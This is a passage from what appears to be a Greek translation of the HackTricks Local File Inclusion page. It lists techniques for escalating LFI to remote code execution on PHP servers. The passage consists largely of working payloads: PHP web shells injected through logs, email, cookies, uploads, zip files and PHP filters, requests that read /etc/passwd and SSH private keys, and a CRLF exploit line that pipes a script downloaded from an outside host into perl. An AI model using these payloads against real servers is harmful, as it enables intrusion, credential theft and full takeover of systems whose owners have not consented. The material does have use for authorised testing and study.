Επίσης, βεβαιωθείτε ότι γράφετε σωστά το payload ή η PHP θα σφάλει κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.

Αυτό θα μπορούσε επίσης να γίνει σε άλλες καταγραφές αλλά προσοχή, ο κώδικας μέσα στις καταγραφές θα μπορούσε να είναι URL κωδικοποιημένος και αυτό θα μπορούσε να καταστρέψει το Shell. Η κεφαλίδα authorisation "basic" περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στις καταγραφές. Το PHPShell θα μπορούσε να εισαχθεί μέσα σε αυτή την κεφαλίδα. Άλλες πιθανές διαδρομές καταγραφής:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Via Email

Στείλτε ένα email σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σας όπως <?php echo system($_REQUEST["cmd"]); ?> και προσπαθήστε να συμπεριλάβετε στο email του χρήστη με μια διαδρομή όπως /var/mail/<USERNAME> ή /var/spool/mail/<USERNAME>

Via /proc/*/fd/*

  1. Ανεβάστε πολλές shells (για παράδειγμα: 100)

  2. Συμπεριλάβετε http://example.com/index.php?page=/proc/$PID/fd/$FD, με $PID = PID της διαδικασίας (μπορεί να γίνει brute forced) και $FD τον file descriptor (μπορεί επίσης να γίνει brute forced)

Via /proc/self/environ

Όπως ένα αρχείο καταγραφής, στείλτε το payload στο User-Agent, θα ανακλαστεί μέσα στο αρχείο /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Αν μπορείτε να ανεβάσετε ένα αρχείο, απλά εισάγετε το shell payload σε αυτό (π.χ : <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να εισάγετε στα μεταδεδομένα των εικόνων/doc/pdf

Μέσω ανέβασμα αρχείου Zip

Ανεβάστε ένα αρχείο ZIP που περιέχει ένα συμπιεσμένο PHP shell και αποκτήστε πρόσβαση:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP sessions

Ελέγξτε αν η ιστοσελίδα χρησιμοποιεί PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

Στο PHP, αυτές οι συνεδρίες αποθηκεύονται στα /var/lib/php5/sess\[PHPSESSID]_ αρχεία

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Set the cookie to <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Χρησιμοποιήστε το LFI για να συμπεριλάβετε το αρχείο συνεδρίας PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Αν το ssh είναι ενεργό, ελέγξτε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπαθήστε να αποκτήσετε πρόσβαση στο <HOME>/.ssh/id_rsa

Via vsftpd logs

Τα logs για τον FTP server vsftpd βρίσκονται στο /var/log/vsftpd.log. Στο σενάριο όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο server vsftpd, τα παρακάτω βήματα μπορούν να ληφθούν υπόψη:

  1. Εισάγετε ένα PHP payload στο πεδίο ονόματος χρήστη κατά τη διαδικασία σύνδεσης.

  2. Μετά την εισαγωγή, χρησιμοποιήστε το LFI για να ανακτήσετε τα logs του server από το /var/log/vsftpd.log.

Via php base64 filter (using base64)

Όπως φαίνεται σε αυτό το άρθρο, το PHP base64 filter απλά αγνοεί τα μη base64. Μπορείτε να το χρησιμοποιήσετε για να παρακάμψετε τον έλεγχο της επέκτασης αρχείου: αν παρέχετε base64 που τελειώνει με ".php", θα αγνοήσει απλά το "." και θα προσθέσει "php" στο base64. Ακολουθεί ένα παράδειγμα payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (no file needed)

Αυτή η αναφορά εξηγεί ότι μπορείτε να χρησιμοποιήσετε php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο ως έξοδο. Αυτό σημαίνει βασικά ότι μπορείτε να δημιουργήσετε αυθαίρετο php κώδικα για την συμπερίληψη χωρίς να χρειάζεται να τον γράψετε σε ένα αρχείο.

LFI2RCE via PHP Filters

Via segmentation fault

Ανεβάστε ένα αρχείο που θα αποθηκευτεί ως προσωρινό στο /tmp, στη συνέχεια στην ίδια αίτηση, προκαλέστε ένα segmentation fault, και τότε το προσωρινό αρχείο δεν θα διαγραφεί και μπορείτε να το αναζητήσετε.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Αν βρείτε μια Local File Inclusion και Nginx τρέχει μπροστά από το PHP, μπορεί να είστε σε θέση να αποκτήσετε RCE με την παρακάτω τεχνική:

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

Αν βρείτε μια Local File Inclusion ακόμα και αν δεν έχετε συνεδρία και το session.auto_start είναι Off. Αν παρέχετε το PHP_SESSION_UPLOAD_PROGRESS σε multipart POST δεδομένα, το PHP θα ενεργοποιήσει τη συνεδρία για εσάς. Μπορείτε να το εκμεταλλευτείτε αυτό για να αποκτήσετε RCE:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Via temp file uploads in Windows

Αν βρείτε μια Local File Inclusion και ο διακομιστής τρέχει σε Windows μπορεί να αποκτήσετε RCE:

LFI2RCE Via temp file uploads

Via pearcmd.php + URL args

Όπως εξηγείται σε αυτή την ανάρτηση, το σενάριο /usr/local/lib/phppearcmd.php υπάρχει από προεπιλογή σε εικόνες docker php. Επιπλέον, είναι δυνατό να περάσετε παραμέτρους στο σενάριο μέσω της διεύθυνσης URL, καθώς υποδεικνύεται ότι αν μια παράμετρος URL δεν έχει =, θα πρέπει να χρησιμοποιηθεί ως παράμετρος.

Η παρακάτω αίτηση δημιουργεί ένα αρχείο στο /tmp/hello.php με το περιεχόμενο <?=phpinfo()?>:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

Η παρακάτω εκμεταλλεύεται μια ευπάθεια CRLF για να αποκτήσει RCE (από εδώ):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Μέσω phpinfo() (file_uploads = on)

Αν βρείτε μια Local File Inclusion και ένα αρχείο που εκθέτει phpinfo() με file_uploads = on μπορείτε να αποκτήσετε RCE:

LFI2RCE via phpinfo()

Μέσω compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Αν βρείτε μια Local File Inclusion και μπορείτε να εξάγετε τη διαδρομή του προσωρινού αρχείου ΑΛΛΑ ο διακομιστής ελέγχει αν το αρχείο που θα συμπεριληφθεί έχει PHP marks, μπορείτε να προσπαθήσετε να παρακάμψετε αυτόν τον έλεγχο με αυτή τη Race Condition:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Μέσω αιώνιας αναμονής + bruteforce

Αν μπορείτε να εκμεταλλευτείτε την LFI για να ανεβάσετε προσωρινά αρχεία και να κάνετε τον διακομιστή να κολλήσει την εκτέλεση PHP, τότε θα μπορούσατε να δοκιμάσετε να βρείτε ονόματα αρχείων για ώρες για να βρείτε το προσωρινό αρχείο:

LFI2RCE via Eternal waiting

Σε Fatal Error

Αν συμπεριλάβετε οποιοδήποτε από τα αρχεία /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar. (Πρέπει να συμπεριλάβετε το ίδιο δύο φορές για να προκαλέσετε αυτό το σφάλμα).

Δεν ξέρω πόσο χρήσιμο είναι αυτό αλλά μπορεί να είναι. Ακόμα και αν προκαλέσετε ένα PHP Fatal Error, τα προσωρινά αρχεία PHP που έχουν ανέβει διαγράφονται.

Αναφορές

125KB
EN-Local-File-Inclusion-1.pdf
pdf

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated